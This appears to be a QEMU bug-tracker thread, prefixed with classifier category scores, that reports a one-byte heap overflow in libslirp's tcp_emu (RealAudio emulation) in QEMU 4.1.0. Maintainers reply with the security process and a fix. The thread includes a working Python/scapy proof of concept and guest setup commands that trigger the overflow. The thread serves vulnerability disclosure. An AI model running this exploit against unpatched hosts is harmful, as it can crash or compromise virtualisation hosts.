1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
other: 0.735
network: 0.686
debug: 0.665
device: 0.654
socket: 0.653
graphic: 0.650
permissions: 0.625
performance: 0.623
files: 0.619
PID: 0.607
semantic: 0.596
boot: 0.592
vnc: 0.580
KVM: 0.523
in tcp_emu function has OOB bug
qemu version: 4.1.0
```c
int tcp_emu(struct socket *so, struct mbuf *m){
............
case EMU_REALAUDIO:
............
while (bptr < m->m_data + m->m_len) {
case 6:
............
lport = (((uint8_t *)bptr)[0] << 8) + ((uint8_t *)bptr)[1];
............
*(uint8_t *)bptr++ = (p >> 8) & 0xff;
*(uint8_t *)bptr = p & 0xff;
............
}
............
............
}
```
bptr)[1] and bptr++ ,may make bptr == m->m_data + m->m_len,and cause OOB(out of bounds.)
Thanks for your bug report. For future security critical bugs, please follow the steps described on https://wiki.qemu.org/SecurityProcess instead.
For this one, I've forwarded the information to the libslirp project, since the "slirp" code has been moved to a separate project which is no longer part of the QEMU project. They've included a fix here:
https://gitlab.freedesktop.org/slirp/libslirp/commit/2655fffed7a9e765bcb4701dd876e9dab975f289
Thanks
poc:
```python
#!/usr/bin/python3
import os
import time
from scapy.all import *
target_ip = '10.0.2.2'
target_port = 7070
def start_tcp(target_ip,target_port,str_to_send):
global sport,s_seq,d_seq
try:
ans = sr1(IP(dst=target_ip)/TCP(dport=target_port,sport=RandShort(),seq=RandInt(),flags=0x2),verbose=False)
sport = ans[TCP].dport
s_seq = ans[TCP].ack
d_seq = ans[TCP].seq+1
send(IP(dst=target_ip)/TCP(dport=target_port,sport=sport,ack=d_seq,seq=s_seq,flags=0x10),verbose=False)
send(IP(dst=target_ip)/TCP(dport=target_port,sport=sport,ack=d_seq,seq=s_seq,flags=0x18)/str_to_send,verbose=False)
print(ans[TCP])
except Exception as e:
print(e)
if __name__ == '__main__':
buf = ['R' for n in range(2200)];
buf_len = len(buf);
buf[buf_len-10]= chr(0x50)
buf[buf_len-9] = chr(0x4e)
buf[buf_len-8] = chr(0x41)
buf[buf_len-7] = chr(0x00)
buf[buf_len-1] = chr(27)
start_tcp(target_ip,target_port,"".join(buf))
```
In host OS run:
```shell
nc -l -p 7070
```
In guest OS run:
```shell
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.0.2.2 -j DROP # Because we will use Python to construct tcp packets, this will prevent the kernel from sending rst packets.
# ip link set ens3 mtu 3000 # When the sending size is larger than the default mtu packet, the slipr_input function allocates space from the heap, and then we can overflow one byte of the heap space
# ./poc
```
This will cause a byte heap overflow.
Excuse me, can I get a CVE number?
If you need a CVE number, please send a mail with the bug description to the people listed on https://wiki.qemu.org/SecurityProcess
thank you very much!
This should be fixed with QEMU v5.0.
libslirp fix included in commit 7769c23774d1, released in QEMU-v5.0.0
|